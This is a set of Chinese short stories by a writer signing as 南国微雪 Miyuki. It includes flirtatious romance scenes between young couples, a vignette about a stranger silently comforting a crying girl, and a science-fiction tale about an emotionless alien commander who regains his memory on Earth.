　　又干嘛啊……我别过头去不看她，真受不了这人了。拜托饶了我吧……

　　“看吧！果然还是害羞了嘛！”

　　一阵大笑。

　　“都、说、了，吃你的橙子去！！！”

　　她那秀气的肩膀被人捏着一阵乱晃，直到她受不了，头晕眼花。“好了好了，我错了我错了，别晃了，不调戏你就是了……”然后我才继续给她揉肩。

　　真是的，揉个肩膀事情这么多，我真的不知道当初怎么喜欢上她的……

　　“不过，话说回来，肩带这个东西真的让人又爱又恨啊。”

　　“怎么说？”我继续捏着。

　　“嘿嘿……”她一笑，“想听吗？”

　　整个房间瞬间安静了下来。只剩下我和她一同买的那只钟表在墙上愉快走动的声音，除此之外，安静到阳光下灰尘的飞舞都惹人注意。

　　她没看我，仍只是自顾自地吃着橙子。

　　“手停下了哦？想听的话就继续揉。”

　　……

　　“嗯，真是好孩子。”我手下的女孩子传来一声舒服的呻吟声。

　　这个人……绝对是在捉弄我吧……改天我一定要她好看！

　　“所以，怎么说？”

　　“肩带几乎是女生不得不要的一种东西。”

　　“不是有那种无肩带式的抹胸内衣吗？那个不行吗？”

　　“我就猜到你要说这个。那个其实大多数产品都稳不住，会往下滑的，穿起来倒是轻松，活动的时候就痛苦了。”

　　“那其他款式呢？总有一款比较合适吧？”

　　“那你可真想多了。挂脖式的内衣会让脖子很累；运动内衣又太丑了……虽说运动的时候确实很棒，但是平时真的不想穿；有钢圈的又会扎人，扎一下很疼的；蕾丝边的很多只是好看，实际上穿起来有毛刺，硌得人不舒服；海绵垫的，厚的又热，薄了又怕遮不住；系绳的对我来说没什么安全感，而且因为承重面积小，久了会在背上或者肩上压出一道印。说到最后还是最普通的内衣最合适，但是肩带又隐藏不了。”

　　“不是有那种透明的肩带吗……我记得很多露肩礼服的女孩子都会搭那种肩带的。”

　　“可别说那个了。那个也就只有露肩的时候会用了，号称透明，你总不能阻止它反光吧？而且大多数产品是塑料做的，不是布料，布料透明不了，而塑料接触皮肤有多难受不用我多说了吧。那个东西粘性还挺强的，不太好调整。”

　　“调整啥……”

　　“男孩子可能不会知道，其实女生调整内衣的时候还挺多的哦。比如肩带下滑的时候，或者做伸展运动之类的，内衣也会上蹿。”

　　“我头一次知道……”我确实有些感叹……

　　头一次知道这么多东西，这么多……让人害羞的东西……

　　“嘿嘿……”

　　“怪不得好多女孩子都说不想穿内衣。”

　　“嗯……其实我都不想穿，太麻烦了。”

　　“那你会有不穿的情况吗？”我随口一问。

　　她猛地转过头来，把我吓一跳。手也自然脱离了她的肩膀。

　　“问这种问题可是犯规的哦？”她嘿嘿一笑，“我选择保密。”

　　“那我还是不猜了吧。”

　　“那样最好。”她又背对我，把肩膀靠过来。

　　“不过话说回来，有很多女生会选择在冬天体验一些不穿内衣的日子。冬天衣服多，还厚，穿不穿就看不出来了。”

　　“冬天啊……”

　　“没办法，只能在冬天。其实夏天才是最不想穿的时候，本来就热，容易出汗，还要多穿一层布料。不穿的话，有个东西又会突出来，到时候很多男生盯着你看，不尴尬死你才怪。性质恶劣一点还会有人说你不检点，私底下很开放什么的……”

　　“这样啊……还真是辛苦啊……”

　　“其实还好，习惯了。”

　　听到这句“习惯了”，我忽然莫名地心疼。对于眼前的这个女生，尤其心疼。

　　“既然这么讨厌，在家你可以不穿哦？”

　　她慢慢地转过身来，白了我一眼，皓齿微启，落下四个音节：“你个变态。”

　　我汗颜。

　　她旋即又转过身去，把肩膀靠过来。我的工作继续。

　　“说到底还是胸部发育了，没办法。说起这个，有个很有意思的事实：你知道为什么有些女孩子跑步姿势横着摆臂吗？看起来特别诡异的那种。”

　　“不知道……我以为是她们没有受到过正常的运动教育。是这样吗？”

　　“不是。女生发育早，那时候又什么都不懂，以为自己不正常。跑步的时候就横向摆臂，以为多少能遮掩一下。不过大了就知道那不过是心里安慰罢了。”

　　“又学到了……”今天被刷新了多少三观我都不知道了……

　　“那你呢？”我忽然很想了解眼前这个喜欢的女生。

　　“什么？”

　　“那个……”我有些不知道怎么开口，“发育时期的事情啦……我想多了解你一些。”

　　她又转过身来白了我一眼。我再次汗颜。不过这确实是我的真实想法。

　　“这个倒是可以给你说，”她顿了顿，“其实我跟她们差不多啦……当初发育不是很明显的时候，我也没太在意。后来越来越大，就开始慌了，不知道该拿胸前的突起怎么办才好。给妈妈说吧，又不敢，她也没怎么提到过这种事，不过还好后来她看出来了，拉着我聊了一天。后面才放心下来。”

　　“感觉老一辈的人都很少提这种事情呢……”

　　“对啊，从那个时候我就不太喜欢内衣了。妈妈原来还跟我说，这以后会成为你魅力的一部分。但是那个时候哪儿懂嘛……”

　　“现在确实挺有魅力的……”我小声说。

　　“嗯？你说了什么吗？”她问。

　　“没……没什么……”我糊弄道。

　　“我可都听见了啊！”她嘿嘿一笑，“你要请我吃饭对不对！”

　　“对对对。”我都懒得糊弄她了，随口应着。

　　“你说我魅力大，其实我本身没有什么感觉啦……就像我说你认真的时候很帅，你也会一头雾水对不对。”

　　看来还是被她听到了……不过也确实，离得这么近，听不见才奇怪吧。

　　“这倒是。”

　　“对吧。而且，我真的对胸部没什么感觉，好多时候都只觉得麻烦……再说了，长这么大，不都便宜了你吗……跟我有什么关系……”

　　开始还中气十足，后面声音越说越小，我还以为怎么了……

　　现在听得只想逃跑……

　　对不起，公主大人，你有一个色骑士……

　　“好了好了！揉了得有半个小时了吧，还酸吗？”为了掩饰尴尬和羞耻，我开始转移话题。

　　“啊，不酸了。挺舒服的，手法不错嘛，没少练吧？”她转过头来嘿嘿一笑。

　　我满脸黑线，直想给她来个脑瓜崩。

　　“你真是一瓣没给我剩啊……”我绕到前面去，坐在沙发上，看了一眼茶几，哀叹。

　　“这不是说得口渴了嘛，”她讪讪笑道，“再说了，虽说没吃，但是获得了这么多知识，也不亏，不是吗？”

　　“但是你确实一瓣也没给我剩啊？”我抓住这个她想逃避的话题，直视着她。

　　“好啦好啦，下次给你切嘛……骑士大人好小气……”

　　这个可爱的女孩子嘟囔道。

　　我终于知道那些想欺负人的心情是怎么来的了，于是接着追杀。

　　“那这次呢？你怎么补偿我？”我嘿嘿一笑。

　　她很明显地凝固住了。

　　“你想要什么？”她小声地问道。

　　“你知道我想要什么。”某个人笑得更大声了。

　　“啊……我、我知道了……”她颤抖着声音说。

　　我怎么感觉有点不对劲。

　　下一秒看到她把双手放到衣角，准备开始脱衣服。

　　“等下等下等下，你干什么啊！笨蛋！！！”我双手捂住眼睛。

　　“呃……男孩子不都是想要这个的吗……”

　　我从指缝间偷瞄了一眼，看她没有脱下来，安心地放下手来，叹了一口气。旋即凑过身，抱住了她。

　　“我想要的是这个啦，笨蛋。看来公主大人也需要好好学习男性知识呢。”我在她耳边笑着声说。

　　“这样啊……你还真是奇怪呢。”

　　我感受到她双手摩挲着，尝试回拥我。过了这么久，她还是不习惯拥抱啊……不过就算这样，她还是在回应着我，我觉得很开心。

　　“啊，还想要一个东西。”我说。

　　我们从相拥的状态分开。

　　“还有什么？”她笑笑，似乎笃定了我不会要什么过分的东西。

　　真是可恶啊，这个笑容。

　　“还有这个。”我说。

　　凑近她的脸庞，从下面盯着她，然后伸出舌头，小心地舔了一下她嘴角的橙粒。

　　“这样就吃到了，不亏。”我笑笑。

　　她猛地抱住我。

　　“……笨蛋。”

　　我有点懵：“怎么了？”

　　“……”

　　我尝试从拥抱的状态分开。

　　“不要……不要看我的脸……”我听到耳边传来这么一句话。

　　什么嘛……原来这妮子害羞了啊……

　　我在心里大笑。虽然这么做我也很害羞，但是好说歹说欺负回来了一回，这次是我赢了。

　　“不行……我要反击。”耳边又传来了这么一句话。

　　我感觉不太妙……

　　抱着的这个女生是不服输的类型的啊，都快忘了这一点了。

　　“你很喜欢抱抱的吧？”她问。

　　“嗯。”我应了一声。

　　因为我们两个抱在一起，我很明显地能够感受到她说话时，胸腔震动的感觉。最不妙的是，她在我应声完之后，心跳开始急速上升。搞得我也开始心脏狂跳。

　　心跳好吵……她要做些什么？

　　半晌无言，只是拥抱。

　　墙上的挂钟仍然在害羞地走着，发出滴答滴答的声音。阳光下，灰尘们仍在飞舞，很难不引人注意。太阳西斜，强烈而暧昧的射线，透过窗户照到了她的背上。

　　“看着我。”发怔之时，听到了她细若蚊蝇的请求。

　　旋即，身体分开。

　　她眼睛含泪地盯着我，两只小臂往身后移动。

　　正当我不明白发生了什么的时候，一声细微的“啪嗒”声，钻入了我的耳朵。那是某种金属结构脱落的声音。饶是呆若木头的我也知道那是什么声音。

　　我看着她克莱因色的 T 恤，身侧忽然胀大了一圈。

　　“你在干些什么啊……”不用说我也知道我的脸上正在迅速地发烧。

　　有些受不了这股羞意，开始用手遮起脸。

　　“看着我！”

　　声音不大，但是有股莫名的威严，我无法抗拒。

　　威严之下，全是羞意。

　　我一点点地看着，她的脸变得更红，我的脸也变得更加滚烫；一点点地看着，她左手缩进袖口，右手从里面拉出一条肩带；一点点地看着，她右手缩进袖口，左手从里面拉出一条肩带。

　　阳光透过 T 恤，印下一深一浅的阴影，随后，一团阴影忽然落下来，从 T 恤衣角下方被她勾出……

　　她将那水蓝色的物件用手指勾到身后，张开双臂：“来吧，抱抱。”

　　眼睛里仍然含着泪珠，但她就那么直勾勾地盯着我，视线从没移开过。

　　我的眼睛也快含泪了……

　　我好想逃……

　　“这不太好吧……”我本能地感到羞耻。

　　她一把将我拉过去，抱住我。

　　“我说过我要反击的吧……”耳边伊人，气息紊乱，音节颤抖不止。

　　我手掌按着她光滑的背部，脑子里一片空白。

　　夏天，一次完全不同于以往的拥抱体验。

　　此次欺负人大赛，以我的完败而告终。


　　南国微雪 Miyuki

　　2022 年 9 月 26 日

　　

　　

想象力训练 - 分享

　　“呜呜……我也想吃这些……”她盯着我手上的炸鸡和零食。

　　“好好好，分给你，不要这么看着我啦……”我对她的这种眼神最没辙了。

　　“不是吧，每次你都分她那么多。”朋友抱怨道。

　　“我觉得你也会这么分的，”我转头盯着朋友，严肃地对他说，“我曾经吃掉了她的整个手臂。”


　　南国微雪 Miyuki

　　2022 年 9 月 25 日

靛青之秋之二

　　某天早上，青黛跑到我房间里来，问一些莫名其妙的问题。

　　“你昨晚在干什么？”

　　“写小说啊。”

　　“真的只是在写小说？”

　　我狐疑地盯着她，她也怀疑地看着我。

　　“你到底想干什么……”

　　“那我直说了啊。”

　　“……你说吧。”

　　虽然有种不好的预感，但也只能硬着头皮上了，不然我也不知道这小妮子要干嘛。

　　她深吸一口气，正在酝酿情绪。此刻房间里时钟的滴答声显得尤为喧嚣。

　　“我……我昨天路过你房间门口……嗯……那个……听到你喊了两声我的名字……我正准备进去，问什么事情，又听到了一声奇怪的‘啊’……我感觉不对劲，又……没敢看……就跑了……所以你昨天晚上到底在干什么？”

　　这女人吓我一跳。我还以为什么事儿呢。

　　我笑出声来。

　　“想知道吗？”

　　“嗯。”我看她眼里闪出认真的光芒，迅速地点点头。

　　“其实你没有听完。”

　　“那完整的是什么？”

　　“青黛……青黛……❤️啊❤️……好可爱，嘿嘿🤤……青黛……小小的🤤，软软的🤤……好可爱……嘿嘿嘿🤤。”

　　听我说完，她很明显地凝固了。

　　然后迅速鼓起腮帮，一拳将我打倒在床上，夺门而出，末了还落下一句极具威力的喊声。

　　“你个大变态！！！”


　　我揉了揉发疼的胸腔，坐起身来，然后走到电脑旁边。

　　“看来下次动静得小一点了呢。”

　　我抽出藏在电脑和桌面间的小卡片，扔进了柜子更深处。

　　还好生日贺卡上黏的照片和标本没掉下来，五彩的墨水也干掉了，要不就麻烦了。


　　“你又在干什么？”

　　我做完这一系列动作，听到后背响起一个女声，吓出一身冷汗。

　　转过身去，微笑地答：“我在发癫。青黛❤️……嘿嘿🤤，嘿嘿嘿……”

　　她瞪了我一眼，退出了我的房间。

　　“嘭！”

　　巨大的关门声之后，我的房间又恢复了寂静。只余下时钟愉快的工作声。


　　南国微雪 Miyuki

　　2022 年 9 月 7 日

靛青之秋之一

　　趁着国庆，我去了青黛的学校一趟。好不容易搞到她的行程表，可不能浪费了。差一点还被这妮子识破了。

　　虽是十月，但萧瑟之意已扑得人裹紧大衣。天仍靛蓝，但温度却不讨人喜。发威的秋老虎随处可见，就像那片飘到她肩上的梧桐叶一样。

　　青黛对于看到我这事，有些意外。稍愣了一下，旋即恢复正常——只是，对于她身边原本要一起吃饭的朋友有些手足无措。大概吧，我猜的，不过她转头看向我，又看向她的朋友，动摇很明显。

　　我看得几乎快要笑出声来。

　　青黛的朋友也怔了一下，然后猛然意会。其中一位指着我，问她：“你男朋友？”

　　“啊……”

　　我本来都要开口。忽然感觉右边袖口被扯了一下。

　　我看着她，想瞧瞧这魅魔到底要搞些什么花样。

　　但她不看我，一直盯着她朋友——

　　最后笑眯眯地落下四个音节：

　　「我未婚夫。」


　　等我转头，便只剩下了青黛三个朋友光速逃离的身影。顺便，还扔下了一阵意味深长的笑声。


　　南国微雪 Miyuki

　　2022 年 8 月 31 日

想象力训练 - 可能会知道

正文

　　“这次你怎么这么听话？”

　　“这个嘛……”


　　某天下午，我忽然注意到了一件不一样的事情。

　　我旁边这位大小姐的牙上，沾了辣椒皮。

　　我很纠结要不要告诉她，总觉得说出来之后好尴尬，我和她都是。但是不说吧，总觉得又太显眼。每次和她说话总盯着那个地方，有一次她甚至问我：“我脸上沾了什么吗？”

　　“没，没有……”我这样答道。

　　因为不在脸上啊，我的亲人。

　　犹豫再三，我决定还是给她说了。

　　“那个……大小姐……给你说个事情，你不要揍我啊……”

　　“说。”依旧冷酷。

　　“那个……你的牙上面有东西……”

　　我已经尽可能委婉了，然而还是听到一发小声尖叫。随后便看到她从抽屉里拿出镜子，准备打开。然后忽然想起了什么似的，用手捂住嘴巴，柳眉一横。

　　“你，头转过去。”

　　“好。” 　　 　　我乖乖地转过头去。

　　“你可以转过来了。”

　　我把头转回来，旋即看到她以一个非常奇怪的表情盯着我看。

　　当然，牙上没有辣椒皮了。

　　“这次你怎么这么听话？”

　　“这个嘛……”

　　我当然不会说我想起了什么。我记得我曾经看到过一本小说，里面说：女孩子打扮得特别漂亮时，只希望某一个特定的人看，其他人多看一眼似乎都是对她的亵渎；而当她非常难堪的时候，又最不希望那个人看见，其他人的肆意批评指责都能捱过去，但那人只无意的一瞥，都可能会对她造成毁灭性的打击。

　　这种邪教一般的说法，我不知道为什么记到了今天。不过前提不适用就是了。

　　“说啊。”

　　她还盯着我看。

　　“这个嘛……”

　　在她殷切的目光下，我只说了两个字。

　　“保密。”



　　南国微雪 Miyuki

　　2022 年 8 月 4 日

写在后面

　　本文部分情节，根据作者真实经历改编而来。

有些事情，不应转瞬即逝

封面图

摄影师 | Kanenori

图源 | Pixabay

正文

　　一个傍晚，凉风徐徐，风摇花曳，吹落一地心事。

　　一个女孩子往操场去，她知道那里有一个很安静的地方。显眼，但不会被人打扰。她此刻太需要一个宁静的地方，微盛那些愁绪，和一些摇摇欲坠的心思。

　　进门，上楼，找位置，坐定。

　　下面便是吵吵嚷嚷的人们。大多是学生。一圈一圈地，做着似乎永无止境的、毫无意义的运动。

　　看台许高，可以容她大哭一场。释放，而又不动声色，没有人会注意到她。她想。

　　只有一个男孩子除外。

　　她没注意到他，而他并不如此。

　　夕阳散出万千鲜艳却沉郁的光线，直抵他们的背影，将这一个男孩和一个女孩的背影拉得蜿蜒如长城，直到护栏矮墙上才消失。

　　男孩先于她到这里，只想悠闲一回，坐看世界渐而沉静。手里拿着一个平板，看书。有时候将目光从这害人的蓝光上移开，望着下面一圈圈快活的人们发怔。

　　他许久没有这样做过了。

　　直到她到来，看见她的步伐缓慢，像是被什么压着。

　　或许，头发很重吧，他无所谓地想。随即又被自己的想法逗笑。

　　沉下头，继续。


　　偶然抬头，无意瞥见那个女孩。两肩微缩，缓慢颤动。

　　他眼神不太好，但某些细节，他却能看得很清楚。他一直不知道这样，是好是坏。

　　踟蹰、犹豫、彷徨、踌躇、迟疑又忧虑，他终于还是走上前。


　　她近来压力真的太大。学校的活动落选终于给了她致命一击。她不脆弱，但连环打击终于也让她丧了气。

　　沉浸在自己的悲伤里，无法自已。

　　忽然左肩有微弱的敲动，转头，是一个男生。她有些错愕。

　　应该是右手敲的，左手拿着一张纸巾，还轻微抬了抬手，示意。她有些迷惑，有些怯懦，还有些，不由自主的害怕。

　　一张纸巾。

　　她茫然地看着他。她看见他有些不知所措，然后眼珠向上一看，像是在想什么东西。旋即一笑，从他的蓝色斜挎包里拿什么东西出来。

　　一张湿巾。也是蓝色的包装，如同海的颜色。

　　两个手掌，两种物品，安静地摊在手上。然后用捏着纸巾的那只手，指了指自己的眼睛。

　　她懂了。

　　她笑了。


　　他看见她抽走了那张纸巾，舒了一口气。犹豫了一下，他撕开湿巾的包装，擦了擦她旁边那张不太干净的座椅，又抽了一张纸巾将湿巾的水分抹干，然后用纸巾包裹湿巾，用力地挤成一团，揣在自己兜里。

　　坐下来。不发一言，继续看屏幕，看屏幕里的书。他显然没注意到旁边的女孩子正在看着他。


　　他在准备坐下时才发现自己看着他，然后朝她浅浅地微笑一下，接着继续专注地看着书去了。

　　她不太懂，更加迷惑了，有一种自己的世界被打扰了的不快。

　　许久，他一直沉默，似乎没有开口的意思，只是用手翻着书页。

　　她似乎有些懂了：他只是想陪着一个伤心的人。


　　天色暗了，操场的灯还没开，但远处的居民楼已经亮起了稀稀疏疏的星星。

　　在这冗长的时间里，她只是默默地释放着自己的情绪，她知道身边的这个人没有恶意。而他也只是默默地看着书，不时地向她递一张纸巾。


　　她起身，天色已如浓墨。但某人的心里，却从浓墨转为彩虹。

　　起身，下楼梯，最后朝他挥挥手，笑一下。他也挥手回应，旋即又沉下头去。

　　她身一转，倩影消失在转角处。


　　她今天心情很愉快。

　　不止是源于这个陌生人，更有一部分原因，让她感觉到满足。

　　她黯然至深，靠在他的肩上时，她看见了——

　　他胸前位置，那肉眼可见的微微跳动的衣服。


　　南国微雪

　　2022 年 3 月 13 日

写在后面

　　本故事纯属虚构，与现实中的人名，地名和事件没有关联。

　　考虑了许久，这一系列虽是爱情小说，但终究并未写成言情的形式。

　　我们一路上，总会收到许多来自陌生人的善意和温暖，但他们并未与我们产生联系，更不必说寻求回报。我只是想记录，这世间的美好，并不止爱情一种形式，而还有许多微小的、让人几乎捉摸不到的瞬间。这些瞬间，转瞬即逝却意外动人与美丽。

　　记录这些，大莫会让每个不经意邂逅的人，都会感到幸福。

　　只是写下这些，就足够了。

深入骨髓

封面图

摄影师 | Computerizer

图源 | Pixabay

写在前面

　　虽然百慕大三角已被证实是谣言，但此文仍借鉴了其传说，希望能增添一抹浪漫色彩。

　　如果科学知识哪里有误，请多海涵。

　　世界背景为架空世界观，与现实发生的人物和事件无关。

　　字数 6234 字。

正文

　　某一天，人类接到了一个高等文明的无线电信号。后者声称要在 30 年之内进犯人类唯一的家园——地球。

　　起初很多人认为是玩笑，直到各国首脑收到信息。信息来自各自国家科研人员与未知频率的交流记录，完完全全以该国文字书写。即使国家科技落后，也会以某种形式出现那句话，或是锦帛，或是纸张，甚至壁画。

　　“我们三十年后见。”

　　全球恐慌。

　　你作为人类最强战斗力被征召，被要求组建一支对抗未知文明的专用军队。

　　你心中充满了恐惧与愤怒。害怕未知，害怕科技，害怕未来，气愤于他们没有赋予你身为一个人类的尊严，俨然如工具一般任意使唤。

　　自记事以来就是这样。

　　你因为没有户口被关进国家暴力机关，后来因展现出过人战斗力与韧劲才免于牢狱之灾。

　　你记不清父母的容貌，对自己的童年一无所知，似乎从来都是从十几岁开始生活的。你认为一切都是你身处的秘密机构捣的鬼，认为他们注射针剂毁掉了你的过去，以便让你不胡思乱想，忠于国家。

　　你在这十几年如一日的训练里似乎被抹去了所有情绪。所有情绪都不允许。

　　你被下达命令时，才第一次有了强烈的情绪。

　　秘密机构没有公开，你被公开。

　　全球哗然。

　　记者驾驶各种飞行汽车蜂拥而至，要求你展现传说中的过人本领。你不堪其扰，狂暴地将车摔成碎屑。

　　在场众人，无不噤声。

　　你很想颠覆这个政权，为了你可怜的尊严和空白的过去。但是你深知，如今人类达成一致，如若此你将被视为全球公敌，无处可藏。

　　这个政权赋予了你正常人的生活，像是对以前因训练而流失的年华进行赔偿。

　　要求是：秘密组建军队，不得让任何人知晓。

　　所签协议已经注入你的体内。载体是尖端生物科学家制造低排异反应的免疫记忆细胞，它会在你的身体里分裂复制，维持协议原来的模样。

　　你很疑惑，如今的科技能否足以对抗未知文明。

　　但你还是作为一个正常人妥协了。

　　你开始组建军队。

　　但是你所组建的军队似乎有点不对劲。多是和自己一样的兄弟，甚至五十岁的年长者，十多岁的小孩也被纳入其中。

　　你以自己独立的姿态对抗着遥在二十多年后的未知文明，同时与地球联合执行联盟分庭抗礼。地球联合执行联盟，如今是这个地球唯一的政权，权倾天下。

　　除了百慕大三角。

　　那里所有电子仪器全部失灵，至今仍为未解之谜。没有人敢确定那片荒芜之地有没有新的政权和新的技术。

　　地球联合执行联盟为明线，你为暗线，两线同时推进，为了那场未知之战。

　　你的上司笑话你的军队不堪一击。

　　你桀骜且不屑，在他面前摔碎杯子就走。关门的瞬间，你看见他的眼神里面对你有止不住的赞叹和欣赏。

　　你很疑惑。

　　上面的人知道你办事如此不利的原因，知道你这个心态有一部分是为了对抗他们。你和上面的人都知道。毕竟合并后的联盟情报机关要调查一个人易如反掌，说不定此时都有无数的眼线盯着你的一举一动，更何况还有密布天下的电子眼睛。

　　既然如此，你更为迷惑，你想不通。

　　饶是这样，你依旧和你那帮军队混在一起，成天吃喝玩乐，在由地球联合执行联盟掌控下的各个国家之间来回窜，看见所有新鲜的东西都想尝试，看到所有有意思的人都想做朋友。

　　对，你的军队成员们团结在一起之后，终于懂了你的想法：你只是想弥补自己过去的空白，与所有自己感兴趣的人交好，填充自己几十年的情感空虚。

　　就像沙漠里，烈阳下快要饥渴而死的旅人渴望水分那般，渴求情感。

　　但所有人都没有声张这个事实。他们打心眼里认为，最高司令没有赢的想法。所以他们也不做任何行动。

　　这是一场必输的战斗。

　　他们陪你吃喝玩乐，宛如死亡来临前的狂欢。


　　你这样过了几十年，终于迎来了那一天。


　　高等文明像是睥睨人类一般，只开来了一艘战舰。

　　战舰表面侵入大气层没有引起一点火光，只用看材质就知道是目前人类高不可攀的文明水平。

　　就在这全球大乱的前一夜，你突然失了踪。

　　你的军队慌了。

　　你的军队遍布全球各地，分布各个年龄阶层，所有成员发动他们全部的关系网都没能找到你。

　　你的军队高层开了一个会，会议主题是六度分隔理论，各国军队高层都统计确认了他们关系网和信息来源可靠性。

　　因为你的军队远超六人，所以最后会议得出了一个最不能相信但是最可能的结论。

　　你昏迷醒来，看见周围精密又迷幻的仪器，心里有些发毛。

　　你看见不远处有一个人。那人一脸恶心地笑，看着前面那块偌大的显示屏。你看向那块显示屏，上面实时播放着地球联合联盟的军队攻打战舰的情况。

　　那不是战斗，是嘲讽。

　　战舰宛如铁炮堡垒，严丝合缝，不可侵犯。战舰也不开火，任由军队攻打。

　　你看见另一个人走过来跟那个看显示屏的人说了什么。你冷静地根据服装判断出后者应该是最高司令官。

　　你还得出了一个结论：高等文明生物跟地球人没有什么区别，看起来唯一的差别就在他们的额头。他们的额头有一些细小的凹陷，发着幽幽的蓝色光芒。

　　随后你看见那个外星司令官像揪奴隶一般，把你揪起来，面向一个摄像头。

　　“如果你还想救你们的同胞，尽管来。我会让你们知道，什么叫差距。”

　　全球人都盯着这艘战舰，全球人都看到了你这个地球最强战斗力的孬样。

　　你觉得糟透了。

　　这句话被翻译成各种地球国家语言，从战舰的扩音器里播放，传遍四方。

　　你看见显示屏上人们听见这句话的表情。

　　愤怒，失望，绝望，狂躁……

　　有一个人引起了你的注意，是一个小男孩，你的军队成员，表情异常冷静。你看着他眉头一舒，想起了什么，跑去和你的另一个军队成员耳语。

　　你有一种不好的预感。

　　旁边外星司令官注意到你的视线，更加恶心的笑炸开在你的耳边。

　　你不好的预感越来越凝重。

　　你和那个小男孩都注意到了这个司令官的笑声，还有他面部扭曲的表情，夸张的表情使额头上的光芒更加幽暗。

　　“你，上来。”

　　战舰上的灯打向那个小男孩。

　　小男孩点了点头，做了一个嘴型。

　　“待会儿救你，长官。”

　　你心里炸毛了。读唇术是这个小男孩教你的技能。

　　战舰没有收音，外星司令皱了一下眉，随即又轻蔑地笑了笑。

　　你通过他的举动，冷静地分析出了他与你一样的桀骜与放犷，不同于你的是，他有很大的恶趣味。从他任由战舰被攻打而不还击，到现在玩弄自己亲近的人，不在意细节，无不表明。

　　你第二次体验到了愤怒。

　　这一次深入骨髓。

　　你知道越是愤怒与恐慌越无济于事，所以越冷静地分析当下的处境。

　　一瞬间，你有一种熟悉又怀念的感觉。

　　不过你很疑惑，为什么单单只抓你一个人？

　　自己什么时候被抓走的也不知道。


　　那个小男孩被带到你的面前，被外星司令官杀害。

　　小男孩最后用划下鲜血的嘴角对你笑着说：

　　“下次还要一起玩啊……”

　　他垂下头的那一瞬间，你注意到他的眼球里有一点微弱的电光，你想不起来那是什么。

　　你看着一个个与自己感情深挚的成员，被带到自己面前，然后杀掉。

　　每杀一个，外星司令官看着你的表情，就笑得越来越大声。

　　你的军队各个成员尝试尽了所有软办法，都被识破，包括伪装相貌，麻醉敌人，进战舰释放烟雾造成混乱等等。

　　全部失败。

　　每一种方法的宣告失败，都会带去一个或几个人的生命。

　　你越来越暴躁，暴躁的同时充满了绝望。

　　然后上来了一个女孩子。你的军队成员。在她的家乡游玩时，她被你好不容易培养出来的的笑容和幽默感染，开始追求你。

　　你拒绝了她。

　　她没有做任何策略就上了战舰。

　　你的军团高层曾经全力阻止过她，但是她不听。如今她孑然一身来见你。

　　“你为什么不玩弄什么诡计？”

　　外星司令官翻译成当地语言问她。

　　“我只是想上来见他一面，告诉他。我依然爱着他。”

　　你快愧疚得发了疯，一遍又一遍地责怪自己不该躲着她。

　　“爱？什么垃圾东西。”

　　司令官少见地有些愤怒。

　　你祈求他不要杀了这个人，但是她最终还是死在了你怀里。

　　你注意到她的眼球有微弱的电光，那是他的视角盲区。

　　你终于想起来：你在经历特殊训练的时候看过这种电光。那是用来利用眼球记录信息，然后通过无线信号发送出去的装置。多用在敢死队身上。

　　这个女孩根本就没打算活着出去。

　　她真真确确是上来诉说自己她最后的爱意。

　　几乎所有你的成员都没有想要活着出去。他们用自己的眼睛为拯救你争取更多的信息。

　　你知道了，她背后有一个团队在分析目前的状况，但你不确定是不是你的军队。你只知道，在这个令所有人都绝望的铁壁铜墙下面，还有一群人，他们一心想着救你。

　　那就是你的军队。

　　你不清楚自己什么时候给予了他们这么大的勇气和决心。

　　你本以为自己只是玩乐，像是死亡前的狂欢。

　　但是似乎只有你自己这么以为。

　　信息偏差。

　　信息……偏差……

　　你忽然明白了。

　　你终于明白了自己什么时候给予了他们这么大的勇气与决心。

　　你的军队团结在一起之后懂得的是：你身为人类最强战斗力，给予了他们信任，与价值，即使他们只是一介平民，你还是相信他们有加入军队的能力。

　　感动、绝望、勇气、愤怒、愧疚。

　　一瞬间各种各样的情绪在你的胸腔里炸裂开来。冲破了你那个顽固的记忆枷锁。

　　你懂得了一切。

　　你额头上的细小凹陷在发着幽幽的蓝光。


　　你并不拥有感情。

　　你们星系的人类额头上的蓝光证明了你们拥有超高速的计算力，一个人媲美一台超级计算机。借此你们得以迅速发展科技和文明。

　　代价是，你们并不拥有感情。

　　你们所有的脑细胞都为计算和理性优化，感情与情绪节节败退，到最后没有了空间，完全退化。

　　由于文明过度发展，人类过分依赖于技术，身体素质严重退化。

　　你通过身体素质与智力的双重测试，并成为帝国最优秀的一个学员，应召成为一名战舰指挥官，踏上为帝国扩疆的征途。

　　只是，你从未对人提起——你觉得缺了什么。

　　无关于智力，只是感觉。

　　直到到了坠落在地球的百慕大三角里，你终于明白缺了什么。

　　你在宇宙探索的时候，秉持着星系人类一贯的原则，无所不用，招引了很多仇恨。但你并知道。

　　但被你当工具使唤的那些人，包括那个外星指挥官，并没有情绪系统，所以没有仇恨概念，他们计算得出：自己生了病。

　　你倾尽所有，飞速计算，冷静思考，最终还是坠落在地球上。

　　你终于懂了那个瞬间闪过的怀念感是什么。冷静思考是你养成的习惯，在你无数次快要被死神拥入怀里的时候，拼命地拉你回来。

　　你在百慕大三角边缘碰见的那些人们，脸上都洋溢着快乐的笑。你和其他星系人类都有这个表情，但举手投足截然不同。

　　你的脑中的计算系统无法处理这种情况，只能得出一个初步的判断：在这个科技原始你们几千年的星球上，人类生物体有一个极为复杂的系统。

　　易变，富有感染力，且与身体相互作用。

　　你和舰队成员在地球上度过了愉快的十几天。

　　在这个因马太效应导致贫富差距极度扩张的地球上，没人在意你们头上的光芒，百慕大三角的边缘居民认为那是城里人的华丽头饰。

　　他们用所有能做出来的美味款待城里人。

　　你从来不知道食物可以让人这样满足，在你们星系，食物只是为了维持生命体不死亡和供给能量而被制造出来。

　　地球人叫吃饭，而你们，叫做进食。

　　十几天之后，你们的战舰修好了，由于电子仪器无法使用，你们使用机械方式飞出地球。

　　除了你。

　　战舰上所有人都十分诧异，你为什么要留在地球上。有一个人除外。那是几十年后杀死你几十个成员的外星指挥官。

　　你看到他眼神里闪过一丝狂喜，脸上还浮现出嘲弄的表情，旋即消失。

　　所有人都没有注意到你们额头上的蓝光一起变淡这件事。

　　你说明了原因，你相信情绪系统有好处，要在地球上再观察一段时间。情绪，是你们从当地人那里听来的名字。

　　其他人不相信，认为它有害于计算力与科学技术的发展。百害无一利。

　　你们分道扬镳。

　　你看着他们飞出大气层。

　　你谢绝了当地所有人的晚餐邀请，独自一人走在海边。

　　你思考这一切。

　　你怀疑自己这个决定是否正确。

　　你怀疑情绪系统是否真的有益处。

　　你怀疑自己这样的星系人类，没有情绪系统是否合理。

　　你怀疑星系人类一切为科学技术奠基的理念是否正确。

　　你怀疑星系人类的进化。

　　你怀疑你自己。

　　额头上的蓝光随着你的思考越来越淡。你并没有注意到。

